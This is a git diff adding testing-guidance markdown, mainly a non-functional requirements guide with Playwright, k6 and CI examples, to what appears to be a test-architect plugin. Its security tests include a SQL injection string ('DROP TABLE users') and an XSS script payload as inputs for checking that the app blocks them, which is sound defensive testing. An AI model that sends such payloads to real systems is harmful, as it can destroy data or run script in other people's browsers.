+- Debug with: `LOG_LEVEL=debug npm run test`
+
+## Why Use This Instead of Native Playwright?
+
+| Native Playwright (`routeFromHAR`) | network-recorder Utility       |
+| ---------------------------------- | ------------------------------ |
+| ~80 lines setup boilerplate        | ~5 lines total                 |
+| Manual HAR file management         | Automatic file organization    |
+| Complex setup/teardown             | Automatic cleanup via fixtures |
+| **Read-only tests only**           | **Full CRUD support**          |
+| **Stateless**                      | **Stateful mocking**           |
+| Manual URL mapping                 | Automatic environment mapping  |
+
+**The game-changer: Stateful CRUD detection**
+
+Native Playwright HAR playback is stateless - a POST create followed by GET list won't show the created item. This utility intelligently tracks CRUD operations in memory to reflect state changes, making offline tests behave like real APIs.
+
+## How Stateful CRUD Detection Works
+
+When in playback mode, the Network Recorder automatically analyzes your HAR file to detect CRUD patterns. If it finds:
+
+- Multiple GET requests to the same resource endpoint (e.g., `/movies`)
+- Mutation operations (POST, PUT, DELETE) to those resources
+- Evidence of state changes between identical requests
+
+It automatically switches from static HAR playback to an intelligent stateful mock that:
+
+- Maintains state across requests
+- Auto-generates IDs for new resources
+- Returns proper 404s for deleted resources
+- Supports polling scenarios where state changes over time
+
+**This happens automatically - no configuration needed!**
+
+## API Reference
+
+### NetworkRecorder Methods
+
+| Method               | Return Type              | Description                                   |
+| -------------------- | ------------------------ | --------------------------------------------- |
+| `setup(context)`     | `Promise<void>`          | Sets up recording/playback on browser context |
+| `cleanup()`          | `Promise<void>`          | Flushes data to disk and cleans up memory     |
+| `getContext()`       | `NetworkRecorderContext` | Gets current recorder context information     |
+| `getStatusMessage()` | `string`                 | Gets human-readable status message            |
+| `getHarStats()`      | `Promise<HarFileStats>`  | Gets HAR file statistics and metadata         |
+
+### Understanding `cleanup()`
+
+The `cleanup()` method performs memory and resource cleanup - **it does NOT delete HAR files**:
+
+**What it does:**
+
+- Flushes recorded data to disk (writes HAR file in recording mode)
+- Releases file locks
+- Clears in-memory data
+- Resets internal state
+
+**What it does NOT do:**
+
+- Delete HAR files from disk
+- Remove recorded network traffic
+- Clear browser context or cookies
+
+### Configuration Options
+
+```typescript
+type NetworkRecorderConfig = {
+  harFile?: {
+    harDir?: string; // Directory for HAR files (default: 'har-files')
+    baseName?: string; // Base name for HAR files (default: 'network-traffic')
+    organizeByTestFile?: boolean; // Organize by test file (default: true)
+  };
+
+  recording?: {
+    content?: 'embed' | 'attach'; // Response content handling (default: 'embed')
+    urlFilter?: string | RegExp; // URL filter for recording
+    update?: boolean; // Update existing HAR files (default: false)
+  };
+
+  playback?: {
+    fallback?: boolean; // Fall back to live requests (default: false)
+    urlFilter?: string | RegExp; // URL filter for playback
+    updateMode?: boolean; // Update mode during playback (default: false)
+  };
+
+  forceMode?: 'record' | 'playback' | 'disabled';
+};
+```
+
+## Environment Configuration
+
+Control the recording mode using the `PW_NET_MODE` environment variable:
+
+```bash
+# Record mode - captures network traffic to HAR files
+PW_NET_MODE=record npm run test:pw
+
+# Playback mode - replays network traffic from HAR files
+PW_NET_MODE=playback npm run test:pw
+
+# Disabled mode - no network recording/playback
+PW_NET_MODE=disabled npm run test:pw
+
+# Default behavior (when PW_NET_MODE is empty/unset) - same as disabled
+npm run test:pw
+```
+
+**Tip**: We recommend setting `process.env.PW_NET_MODE` directly in your test file for better control.
+
+## Troubleshooting
+
+### HAR File Not Found
+
+If you see "HAR file not found" errors during playback:
+
+1. Ensure you've recorded the test first with `PW_NET_MODE=record`
+2. Check the HAR file exists in the expected location (usually `har-files/`)
+3. Enable fallback mode: `playback: { fallback: true }`
+
+### Authentication and Network Recording
+
+The network recorder works seamlessly with authentication:
+
+```typescript
+test('Authenticated recording', async ({ page, context, authSession, networkRecorder }) => {
+  // First authenticate
+  await authSession.login('testuser', 'password');
+
+  // Then setup network recording with authenticated context
+  await networkRecorder.setup(context);
+
+  // Test authenticated flows
+  await page.goto('/dashboard');
+});
+```
+
+### Concurrent Test Issues
+
+The recorder includes built-in file locking for safe parallel execution. Each test gets its own HAR file based on the test name.
+
+## Integration with Other Utilities
+
+**With interceptNetworkCall (deterministic waits):**
+
+```typescript
+test('use both utilities', async ({ page, context, networkRecorder, interceptNetworkCall }) => {
+  await networkRecorder.setup(context);
+
+  const createCall = interceptNetworkCall({
+    method: 'POST',
+    url: '/api/movies',
+  });
+
+  await page.click('#add-movie');
+  await createCall; // Wait for create (works with HAR!)
+
+  // Network recorder provides playback, intercept provides determinism
+});
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and fixture patterns
+- `intercept-network-call.md` - Combine for deterministic offline tests
+- `auth-session.md` - Record authenticated traffic
+- `network-first.md` - Core pattern for intercept-before-navigate
+
+## Anti-Patterns
+
+**DON'T mix record and playback in same test:**
+
+```typescript
+process.env.PW_NET_MODE = 'record';
+// ... some test code ...
+process.env.PW_NET_MODE = 'playback'; // Don't switch mid-test
+```
+
+**DO use one mode per test:**
+
+```typescript
+process.env.PW_NET_MODE = 'playback'; // Set once at top
+
+test('my test', async ({ page, context, networkRecorder }) => {
+  await networkRecorder.setup(context);
+  // Entire test uses playback mode
+});
+```
+
+**DON'T forget to call setup:**
+
+```typescript
+test('broken', async ({ page, networkRecorder }) => {
+  await page.goto('/'); // HAR not active!
+});
+```
+
+**DO always call setup before navigation:**
+
+```typescript
+test('correct', async ({ page, context, networkRecorder }) => {
+  await networkRecorder.setup(context); // Must setup first
+  await page.goto('/'); // Now HAR is active
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/nfr-criteria.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/nfr-criteria.md
new file mode 100644
index 0000000..33d5814
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/nfr-criteria.md
@@ -0,0 +1,670 @@
+# Non-Functional Requirements (NFR) Criteria
+
+## Principle
+
+Non-functional requirements (security, performance, reliability, maintainability) are **validated through automated tests**, not checklists. NFR assessment uses objective pass/fail criteria tied to measurable thresholds. Ambiguous requirements default to CONCERNS until clarified.
+
+## Rationale
+
+**The Problem**: Teams ship features that "work" functionally but fail under load, expose security vulnerabilities, or lack error recovery. NFRs are treated as optional "nice-to-haves" instead of release blockers.
+
+**The Solution**: Define explicit NFR criteria with automated validation. Security tests verify auth/authz and secret handling. Performance tests enforce SLO/SLA thresholds with profiling evidence. Reliability tests validate error handling, retries, and health checks. Maintainability is measured by test coverage, code duplication, and observability.
+
+**Why This Matters**:
+
+- Prevents production incidents (security breaches, performance degradation, cascading failures)
+- Provides objective release criteria (no subjective "feels fast enough")
+- Automates compliance validation (audit trail for regulated environments)
+- Forces clarity on ambiguous requirements (default to CONCERNS)
+
+## Pattern Examples
+
+### Example 1: Security NFR Validation (Auth, Secrets, OWASP)
+
+**Context**: Automated security tests enforcing authentication, authorization, and secret handling
+
+**Implementation**:
+
+```typescript
+// tests/nfr/security.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Security NFR: Authentication & Authorization', () => {
+  test('unauthenticated users cannot access protected routes', async ({ page }) => {
+    // Attempt to access dashboard without auth
+    await page.goto('/dashboard');
+
+    // Should redirect to login (not expose data)
+    await expect(page).toHaveURL(/\/login/);
+    await expect(page.getByText('Please sign in')).toBeVisible();
+
+    // Verify no sensitive data leaked in response
+    const pageContent = await page.content();
+    expect(pageContent).not.toContain('user_id');
+    expect(pageContent).not.toContain('api_key');
+  });
+
+  test('JWT tokens expire after 15 minutes', async ({ page, request }) => {
+    // Login and capture token
+    await page.goto('/login');
+    await page.getByLabel('Email').fill('test@example.com');
+    await page.getByLabel('Password').fill('ValidPass123!');
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    const token = await page.evaluate(() => localStorage.getItem('auth_token'));
+    expect(token).toBeTruthy();
+
+    // Wait 16 minutes (use mock clock in real tests)
+    await page.clock.fastForward('00:16:00');
+
+    // Token should be expired, API call should fail
+    const response = await request.get('/api/user/profile', {
+      headers: { Authorization: `Bearer ${token}` },
+    });
+
+    expect(response.status()).toBe(401);
+    const body = await response.json();
+    expect(body.error).toContain('expired');
+  });
+
+  test('passwords are never logged or exposed in errors', async ({ page }) => {
+    // Trigger login error
+    await page.goto('/login');
+    await page.getByLabel('Email').fill('test@example.com');
+    await page.getByLabel('Password').fill('WrongPassword123!');
+
+    // Monitor console for password leaks
+    const consoleLogs: string[] = [];
+    page.on('console', (msg) => consoleLogs.push(msg.text()));
+
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    // Error shown to user (generic message)
+    await expect(page.getByText('Invalid credentials')).toBeVisible();
+
+    // Verify password NEVER appears in console, DOM, or network
+    const pageContent = await page.content();
+    expect(pageContent).not.toContain('WrongPassword123!');
+    expect(consoleLogs.join('\n')).not.toContain('WrongPassword123!');
+  });
+
+  test('RBAC: users can only access resources they own', async ({ page, request }) => {
+    // Login as User A
+    const userAToken = await login(request, 'userA@example.com', 'password');
+
+    // Try to access User B's order
+    const response = await request.get('/api/orders/user-b-order-id', {
+      headers: { Authorization: `Bearer ${userAToken}` },
+    });
+
+    expect(response.status()).toBe(403); // Forbidden
+    const body = await response.json();
+    expect(body.error).toContain('insufficient permissions');
+  });
+
+  test('SQL injection attempts are blocked', async ({ page }) => {
+    await page.goto('/search');
+
+    // Attempt SQL injection
+    await page.getByPlaceholder('Search products').fill("'; DROP TABLE users; --");
+    await page.getByRole('button', { name: 'Search' }).click();
+
+    // Should return empty results, NOT crash or expose error
+    await expect(page.getByText('No results found')).toBeVisible();
+
+    // Verify app still works (table not dropped)
+    await page.goto('/dashboard');
+    await expect(page.getByText('Welcome')).toBeVisible();
+  });
+
+  test('XSS attempts are sanitized', async ({ page }) => {
+    await page.goto('/profile/edit');
+
+    // Attempt XSS injection
+    const xssPayload = '<script>alert("XSS")</script>';
+    await page.getByLabel('Bio').fill(xssPayload);
+    await page.getByRole('button', { name: 'Save' }).click();
+
+    // Reload and verify XSS is escaped (not executed)
+    await page.reload();
+    const bio = await page.getByTestId('user-bio').textContent();
+
+    // Text should be escaped, script should NOT execute
+    expect(bio).toContain('&lt;script&gt;');
+    expect(bio).not.toContain('<script>');
+  });
+});
+
+// Helper
+async function login(request: any, email: string, password: string): Promise<string> {
+  const response = await request.post('/api/auth/login', {
+    data: { email, password },
+  });
+  const body = await response.json();
+  return body.token;
+}
+```
+
+**Key Points**:
+
+- Authentication: Unauthenticated access redirected (not exposed)
+- Authorization: RBAC enforced (403 for insufficient permissions)
+- Token expiry: JWT expires after 15 minutes (automated validation)
+- Secret handling: Passwords never logged or exposed in errors
+- OWASP Top 10: SQL injection and XSS blocked (input sanitization)
+
+**Security NFR Criteria**:
+
+- ✅ PASS: All 6 tests green (auth, authz, token expiry, secret handling, SQL injection, XSS)
+- ⚠️ CONCERNS: 1-2 tests failing with mitigation plan and owner assigned
+- ❌ FAIL: Critical exposure (unauthenticated access, password leak, SQL injection succeeds)
+
+---
+
+### Example 2: Performance NFR Validation (k6 Load Testing for SLO/SLA)
+
+**Context**: Use k6 for load testing, stress testing, and SLO/SLA enforcement (NOT Playwright)
+
+**Implementation**:
+
+```javascript
+// tests/nfr/performance.k6.js
+import http from 'k6/http';
+import { check, sleep } from 'k6';
+import { Rate, Trend } from 'k6/metrics';
+
+// Custom metrics
+const errorRate = new Rate('errors');
+const apiDuration = new Trend('api_duration');
+
+// Performance thresholds (SLO/SLA)
+export const options = {
+  stages: [
+    { duration: '1m', target: 50 }, // Ramp up to 50 users
+    { duration: '3m', target: 50 }, // Stay at 50 users for 3 minutes
+    { duration: '1m', target: 100 }, // Spike to 100 users
+    { duration: '3m', target: 100 }, // Stay at 100 users
+    { duration: '1m', target: 0 }, // Ramp down
+  ],
+  thresholds: {
+    // SLO: 95% of requests must complete in <500ms
+    http_req_duration: ['p(95)<500'],
+    // SLO: Error rate must be <1%
+    errors: ['rate<0.01'],
+    // SLA: API endpoints must respond in <1s (99th percentile)
+    api_duration: ['p(99)<1000'],
+  },
+};
+
+export default function () {
+  // Test 1: Homepage load performance
+  const homepageResponse = http.get(`${__ENV.BASE_URL}/`);
+  check(homepageResponse, {
+    'homepage status is 200': (r) => r.status === 200,
+    'homepage loads in <2s': (r) => r.timings.duration < 2000,
+  });
+  errorRate.add(homepageResponse.status !== 200);
+
+  // Test 2: API endpoint performance
+  const apiResponse = http.get(`${__ENV.BASE_URL}/api/products?limit=10`, {
+    headers: { Authorization: `Bearer ${__ENV.API_TOKEN}` },
+  });
+  check(apiResponse, {
+    'API status is 200': (r) => r.status === 200,
+    'API responds in <500ms': (r) => r.timings.duration < 500,
+  });
+  apiDuration.add(apiResponse.timings.duration);
+  errorRate.add(apiResponse.status !== 200);
+
+  // Test 3: Search endpoint under load
+  const searchResponse = http.get(`${__ENV.BASE_URL}/api/search?q=laptop&limit=100`);
+  check(searchResponse, {
+    'search status is 200': (r) => r.status === 200,
+    'search responds in <1s': (r) => r.timings.duration < 1000,
+    'search returns results': (r) => JSON.parse(r.body).results.length > 0,
+  });
+  errorRate.add(searchResponse.status !== 200);
+
+  sleep(1); // Realistic user think time
+}
+
+// Threshold validation (run after test)
+export function handleSummary(data) {
+  const p95Duration = data.metrics.http_req_duration.values['p(95)'];
+  const p99ApiDuration = data.metrics.api_duration.values['p(99)'];
+  const errorRateValue = data.metrics.errors.values.rate;
+
+  console.log(`P95 request duration: ${p95Duration.toFixed(2)}ms`);
+  console.log(`P99 API duration: ${p99ApiDuration.toFixed(2)}ms`);
+  console.log(`Error rate: ${(errorRateValue * 100).toFixed(2)}%`);
+
+  return {
+    'summary.json': JSON.stringify(data),
+    stdout: `
+Performance NFR Results:
+- P95 request duration: ${p95Duration < 500 ? '✅ PASS' : '❌ FAIL'} (${p95Duration.toFixed(2)}ms / 500ms threshold)
+- P99 API duration: ${p99ApiDuration < 1000 ? '✅ PASS' : '❌ FAIL'} (${p99ApiDuration.toFixed(2)}ms / 1000ms threshold)
+- Error rate: ${errorRateValue < 0.01 ? '✅ PASS' : '❌ FAIL'} (${(errorRateValue * 100).toFixed(2)}% / 1% threshold)
+    `,
+  };
+}
+```
+
+**Run k6 tests:**
+
+```bash
+# Local smoke test (10 VUs, 30s)
+k6 run --vus 10 --duration 30s tests/nfr/performance.k6.js
+
+# Full load test (stages defined in script)
+k6 run tests/nfr/performance.k6.js
+
+# CI integration with thresholds
+k6 run --out json=performance-results.json tests/nfr/performance.k6.js
+```
+
+**Key Points**:
+
+- **k6 is the right tool** for load testing (NOT Playwright)
+- SLO/SLA thresholds enforced automatically (`p(95)<500`, `rate<0.01`)
+- Realistic load simulation (ramp up, sustained load, spike testing)
+- Comprehensive metrics (p50, p95, p99, error rate, throughput)
+- CI-friendly (JSON output, exit codes based on thresholds)
+
+**Performance NFR Criteria**:
+
+- ✅ PASS: All SLO/SLA targets met with k6 profiling evidence (p95 < 500ms, error rate < 1%)
+- ⚠️ CONCERNS: Trending toward limits (e.g., p95 = 480ms approaching 500ms) or missing baselines
+- ❌ FAIL: SLO/SLA breached (e.g., p95 > 500ms) or error rate > 1%
+
+**Performance Testing Levels (from Test Architect course):**
+
+- **Load testing**: System behavior under expected load
+- **Stress testing**: System behavior under extreme load (breaking point)
+- **Spike testing**: Sudden load increases (traffic spikes)
+- **Endurance/Soak testing**: System behavior under sustained load (memory leaks, resource exhaustion)
+- **Benchmarking**: Baseline measurements for comparison
+
+**Note**: Playwright can validate **perceived performance** (Core Web Vitals via Lighthouse), but k6 validates **system performance** (throughput, latency, resource limits under load)
+
+---
+
+### Example 3: Reliability NFR Validation (Playwright for UI Resilience)
+
+**Context**: Automated reliability tests validating graceful degradation and recovery paths
+
+**Implementation**:
+
+```typescript
+// tests/nfr/reliability.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Reliability NFR: Error Handling & Recovery', () => {
+  test('app remains functional when API returns 500 error', async ({ page, context }) => {
+    // Mock API failure
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Internal Server Error' }) });
+    });
+
+    await page.goto('/products');
+
+    // User sees error message (not blank page or crash)
+    await expect(page.getByText('Unable to load products. Please try again.')).toBeVisible();
+    await expect(page.getByRole('button', { name: 'Retry' })).toBeVisible();
+
+    // App navigation still works (graceful degradation)
+    await page.getByRole('link', { name: 'Home' }).click();
+    await expect(page).toHaveURL('/');
+  });
+
+  test('API client retries on transient failures (3 attempts)', async ({ page, context }) => {
+    let attemptCount = 0;
+
+    await context.route('**/api/checkout', (route) => {
+      attemptCount++;
+
+      // Fail first 2 attempts, succeed on 3rd
+      if (attemptCount < 3) {
+        route.fulfill({ status: 503, body: JSON.stringify({ error: 'Service Unavailable' }) });
+      } else {
+        route.fulfill({ status: 200, body: JSON.stringify({ orderId: '12345' }) });
+      }
+    });
+
+    await page.goto('/checkout');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    // Should succeed after 3 attempts
+    await expect(page.getByText('Order placed successfully')).toBeVisible();
+    expect(attemptCount).toBe(3);
+  });
+
+  test('app handles network disconnection gracefully', async ({ page, context }) => {
+    await page.goto('/dashboard');
+
+    // Simulate offline mode
+    await context.setOffline(true);
+
+    // Trigger action requiring network
+    await page.getByRole('button', { name: 'Refresh Data' }).click();
+
+    // User sees offline indicator (not crash)
+    await expect(page.getByText('You are offline. Changes will sync when reconnected.')).toBeVisible();
+
+    // Reconnect
+    await context.setOffline(false);
+    await page.getByRole('button', { name: 'Refresh Data' }).click();
+
+    // Data loads successfully
+    await expect(page.getByText('Data updated')).toBeVisible();
+  });
+
+  test('health check endpoint returns service status', async ({ request }) => {
+    const response = await request.get('/api/health');
+
+    expect(response.status()).toBe(200);
+
+    const health = await response.json();
+    expect(health).toHaveProperty('status', 'healthy');
+    expect(health).toHaveProperty('timestamp');
+    expect(health).toHaveProperty('services');
+
+    // Verify critical services are monitored
+    expect(health.services).toHaveProperty('database');
+    expect(health.services).toHaveProperty('cache');
+    expect(health.services).toHaveProperty('queue');
+
+    // All services should be UP
+    expect(health.services.database.status).toBe('UP');
+    expect(health.services.cache.status).toBe('UP');
+    expect(health.services.queue.status).toBe('UP');
+  });
+
+  test('circuit breaker opens after 5 consecutive failures', async ({ page, context }) => {
+    let failureCount = 0;
+
+    await context.route('**/api/recommendations', (route) => {
+      failureCount++;
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Service Error' }) });
+    });
+
+    await page.goto('/product/123');
+
+    // Wait for circuit breaker to open (fallback UI appears)
+    await expect(page.getByText('Recommendations temporarily unavailable')).toBeVisible({ timeout: 10000 });
+
+    // Verify circuit breaker stopped making requests after threshold (should be ≤5)
+    expect(failureCount).toBeLessThanOrEqual(5);
+  });
+
+  test('rate limiting gracefully handles 429 responses', async ({ page, context }) => {
+    let requestCount = 0;
+
+    await context.route('**/api/search', (route) => {
+      requestCount++;
+
+      if (requestCount > 10) {
+        // Rate limit exceeded
+        route.fulfill({
+          status: 429,
+          headers: { 'Retry-After': '5' },
+          body: JSON.stringify({ error: 'Rate limit exceeded' }),
+        });
+      } else {
+        route.fulfill({ status: 200, body: JSON.stringify({ results: [] }) });
+      }
+    });
+
+    await page.goto('/search');
+
+    // Make 15 search requests rapidly
+    for (let i = 0; i < 15; i++) {
+      await page.getByPlaceholder('Search').fill(`query-${i}`);
+      await page.getByRole('button', { name: 'Search' }).click();
+    }
+
+    // User sees rate limit message (not crash)
+    await expect(page.getByText('Too many requests. Please wait a moment.')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Error handling: Graceful degradation (500 error → user-friendly message + retry button)
+- Retries: 3 attempts on transient failures (503 → eventual success)
+- Offline handling: Network disconnection detected (sync when reconnected)
+- Health checks: `/api/health` monitors database, cache, queue
+- Circuit breaker: Opens after 5 failures (fallback UI, stop retries)
+- Rate limiting: 429 response handled (Retry-After header respected)
+
+**Reliability NFR Criteria**:
+
+- ✅ PASS: Error handling, retries, health checks verified (all 6 tests green)
+- ⚠️ CONCERNS: Partial coverage (e.g., missing circuit breaker) or no telemetry
+- ❌ FAIL: No recovery path (500 error crashes app) or unresolved crash scenarios
+
+---
+
+### Example 4: Maintainability NFR Validation (CI Tools, Not Playwright)
+
+**Context**: Use proper CI tools for code quality validation (coverage, duplication, vulnerabilities)
+
+**Implementation**:
+
+```yaml
+# .github/workflows/nfr-maintainability.yml
+name: NFR - Maintainability
+
+on: [push, pull_request]
+
+jobs:
+  test-coverage:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run tests with coverage
+        run: npm run test:coverage
+
+      - name: Check coverage threshold (80% minimum)
+        run: |
+          COVERAGE=$(jq '.total.lines.pct' coverage/coverage-summary.json)
+          echo "Coverage: $COVERAGE%"
+          if (( $(echo "$COVERAGE < 80" | bc -l) )); then
+            echo "❌ FAIL: Coverage $COVERAGE% below 80% threshold"
+            exit 1
+          else
+            echo "✅ PASS: Coverage $COVERAGE% meets 80% threshold"
+          fi
+
+  code-duplication:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Check code duplication (<5% allowed)
+        run: |
+          npx jscpd src/ --threshold 5 --format json --output duplication.json
+          DUPLICATION=$(jq '.statistics.total.percentage' duplication.json)
+          echo "Duplication: $DUPLICATION%"
+          if (( $(echo "$DUPLICATION >= 5" | bc -l) )); then
+            echo "❌ FAIL: Duplication $DUPLICATION% exceeds 5% threshold"
+            exit 1
+          else
+            echo "✅ PASS: Duplication $DUPLICATION% below 5% threshold"
+          fi
+
+  vulnerability-scan:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run npm audit (no critical/high vulnerabilities)
+        run: |
+          npm audit --json > audit.json || true
+          CRITICAL=$(jq '.metadata.vulnerabilities.critical' audit.json)
+          HIGH=$(jq '.metadata.vulnerabilities.high' audit.json)
+          echo "Critical: $CRITICAL, High: $HIGH"
+          if [ "$CRITICAL" -gt 0 ] || [ "$HIGH" -gt 0 ]; then
+            echo "❌ FAIL: Found $CRITICAL critical and $HIGH high vulnerabilities"
+            npm audit
+            exit 1
+          else
+            echo "✅ PASS: No critical/high vulnerabilities"
+          fi
+```
+
+**Playwright Tests for Observability (E2E Validation):**
+
+```typescript
+// tests/nfr/observability.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Maintainability NFR: Observability Validation', () => {
+  test('critical errors are reported to monitoring service', async ({ page, context }) => {
+    const sentryEvents: any[] = [];
+
+    // Mock Sentry SDK to verify error tracking
+    await context.addInitScript(() => {
+      (window as any).Sentry = {
+        captureException: (error: Error) => {
+          console.log('SENTRY_CAPTURE:', JSON.stringify({ message: error.message, stack: error.stack }));
+        },
+      };
+    });
+
+    page.on('console', (msg) => {
+      if (msg.text().includes('SENTRY_CAPTURE:')) {
+        sentryEvents.push(JSON.parse(msg.text().replace('SENTRY_CAPTURE:', '')));
+      }
+    });
+
+    // Trigger error by mocking API failure
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Database Error' }) });
+    });
+
+    await page.goto('/products');
+
+    // Wait for error UI and Sentry capture
+    await expect(page.getByText('Unable to load products')).toBeVisible();
+
+    // Verify error was captured by monitoring
+    expect(sentryEvents.length).toBeGreaterThan(0);
+    expect(sentryEvents[0]).toHaveProperty('message');
+    expect(sentryEvents[0]).toHaveProperty('stack');
+  });
+
+  test('API response times are tracked in telemetry', async ({ request }) => {
+    const response = await request.get('/api/products?limit=10');
+
+    expect(response.ok()).toBeTruthy();
+
+    // Verify Server-Timing header for APM (Application Performance Monitoring)
+    const serverTiming = response.headers()['server-timing'];
+
+    expect(serverTiming).toBeTruthy();
+    expect(serverTiming).toContain('db'); // Database query time
+    expect(serverTiming).toContain('total'); // Total processing time
+  });
+
+  test('structured logging present in application', async ({ request }) => {
+    // Make API call that generates logs
+    const response = await request.post('/api/orders', {
+      data: { productId: '123', quantity: 2 },
+    });
+
+    expect(response.ok()).toBeTruthy();
+
+    // Note: In real scenarios, validate logs in monitoring system (Datadog, CloudWatch)
+    // This test validates the logging contract exists (Server-Timing, trace IDs in headers)
+    const traceId = response.headers()['x-trace-id'];
+    expect(traceId).toBeTruthy(); // Confirms structured logging with correlation IDs
+  });
+});
+```
+
+**Key Points**:
+
+- **Coverage/duplication**: CI jobs (GitHub Actions), not Playwright tests
+- **Vulnerability scanning**: npm audit in CI, not Playwright tests
+- **Observability**: Playwright validates error tracking (Sentry) and telemetry headers
+- **Structured logging**: Validate logging contract (trace IDs, Server-Timing headers)
+- **Separation of concerns**: Build-time checks (coverage, audit) vs runtime checks (error tracking, telemetry)
+
+**Maintainability NFR Criteria**:
+
+- ✅ PASS: Clean code (80%+ coverage from CI, <5% duplication from CI), observability validated in E2E, no critical vulnerabilities from npm audit
+- ⚠️ CONCERNS: Duplication >5%, coverage 60-79%, or unclear ownership
+- ❌ FAIL: Absent tests (<60%), tangled implementations (>10% duplication), or no observability
+
+---
+
+## NFR Assessment Checklist
+
+Before release gate:
+
+- [ ] **Security** (Playwright E2E + Security Tools):
+  - [ ] Auth/authz tests green (unauthenticated redirect, RBAC enforced)
+  - [ ] Secrets never logged or exposed in errors
+  - [ ] OWASP Top 10 validated (SQL injection blocked, XSS sanitized)
+  - [ ] Security audit completed (vulnerability scan, penetration test if applicable)
+
+- [ ] **Performance** (k6 Load Testing):
+  - [ ] SLO/SLA targets met with k6 evidence (p95 <500ms, error rate <1%)
+  - [ ] Load testing completed (expected load)
+  - [ ] Stress testing completed (breaking point identified)
+  - [ ] Spike testing completed (handles traffic spikes)
+  - [ ] Endurance testing completed (no memory leaks under sustained load)
+
+- [ ] **Reliability** (Playwright E2E + API Tests):
+  - [ ] Error handling graceful (500 → user-friendly message + retry)
+  - [ ] Retries implemented (3 attempts on transient failures)
+  - [ ] Health checks monitored (/api/health endpoint)
+  - [ ] Circuit breaker tested (opens after failure threshold)
+  - [ ] Offline handling validated (network disconnection graceful)
+
+- [ ] **Maintainability** (CI Tools):
+  - [ ] Test coverage ≥80% (from CI coverage report)
+  - [ ] Code duplication <5% (from jscpd CI job)
+  - [ ] No critical/high vulnerabilities (from npm audit CI job)
+  - [ ] Structured logging validated (Playwright validates telemetry headers)
+  - [ ] Error tracking configured (Sentry/monitoring integration validated)
+
+- [ ] **Ambiguous requirements**: Default to CONCERNS (force team to clarify thresholds and evidence)
+- [ ] **NFR criteria documented**: Measurable thresholds defined (not subjective "fast enough")
+- [ ] **Automated validation**: NFR tests run in CI pipeline (not manual checklists)
+- [ ] **Tool selection**: Right tool for each NFR (k6 for performance, Playwright for security/reliability E2E, CI tools for maintainability)
+
+## NFR Gate Decision Matrix
+
+| Category            | PASS Criteria                                | CONCERNS Criteria                            | FAIL Criteria                                  |
+| ------------------- | -------------------------------------------- | -------------------------------------------- | ---------------------------------------------- |
+| **Security**        | Auth/authz, secret handling, OWASP verified  | Minor gaps with clear owners                 | Critical exposure or missing controls          |
+| **Performance**     | Metrics meet SLO/SLA with profiling evidence | Trending toward limits or missing baselines  | SLO/SLA breached or resource leaks detected    |
+| **Reliability**     | Error handling, retries, health checks OK    | Partial coverage or missing telemetry        | No recovery path or unresolved crash scenarios |
+| **Maintainability** | Clean code, tests, docs shipped together     | Duplication, low coverage, unclear ownership | Absent tests, tangled code, no observability   |
+
+**Default**: If targets or evidence are undefined → **CONCERNS** (force team to clarify before sign-off)
+
+## Integration Points
+
+- **Used in workflows**: `*nfr-assess` (automated NFR validation), `*trace` (gate decision Phase 2), `*test-design` (NFR risk assessment via Utility Tree)
+- **Related fragments**: `risk-governance.md` (NFR risk scoring), `probability-impact.md` (NFR impact assessment), `test-quality.md` (maintainability standards), `test-levels-framework.md` (system-level testing for NFRs)
+- **Tools by NFR Category**:
+  - **Security**: Playwright (E2E auth/authz), OWASP ZAP, Burp Suite, npm audit, Snyk
+  - **Performance**: k6 (load/stress/spike/endurance), Lighthouse (Core Web Vitals), Artillery
+  - **Reliability**: Playwright (E2E error handling), API tests (retries, health checks), Chaos Engineering tools
+  - **Maintainability**: GitHub Actions (coverage, duplication, audit), jscpd, Playwright (observability validation)
+
+_Source: Test Architect course (NFR testing approaches, Utility Tree, Quality Scenarios), ISO/IEC 25010 Software Quality Characteristics, OWASP Top 10, k6 documentation, SRE practices_
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/overview.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/overview.md
new file mode 100644
index 0000000..d637594
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/overview.md
@@ -0,0 +1,286 @@
+# Playwright Utils Overview
+
+## Principle
+
+Use production-ready, fixture-based utilities from `@seontechnologies/playwright-utils` for common Playwright testing patterns. Build test helpers as pure functions first, then wrap in framework-specific fixtures for composability and reuse. **Works equally well for pure API testing (no browser) and UI testing.**
+
+## Rationale
+
+Writing Playwright utilities from scratch for every project leads to:
+
+- Duplicated code across test suites
+- Inconsistent patterns and quality
+- Maintenance burden when Playwright APIs change
+- Missing advanced features (schema validation, HAR recording, auth persistence)
+
+`@seontechnologies/playwright-utils` provides:
+
+- **Production-tested**: Used in enterprise production environments
+- **Functional-first design**: Core logic as pure functions, fixtures for convenience
+- **Composable fixtures**: Use `mergeTests` to combine utilities
+- **TypeScript support**: Full type safety with generic types
+- **Comprehensive coverage**: API requests, auth, network, logging, file handling, burn-in
+- **Backend-first mentality**: Most utilities work without a browser - pure API/service testing is a first-class use case
+
+## Installation
+
+```bash
+npm install -D @seontechnologies/playwright-utils
+```
+
+**Peer Dependencies:**
+
+- `@playwright/test` >= 1.54.1 (required)
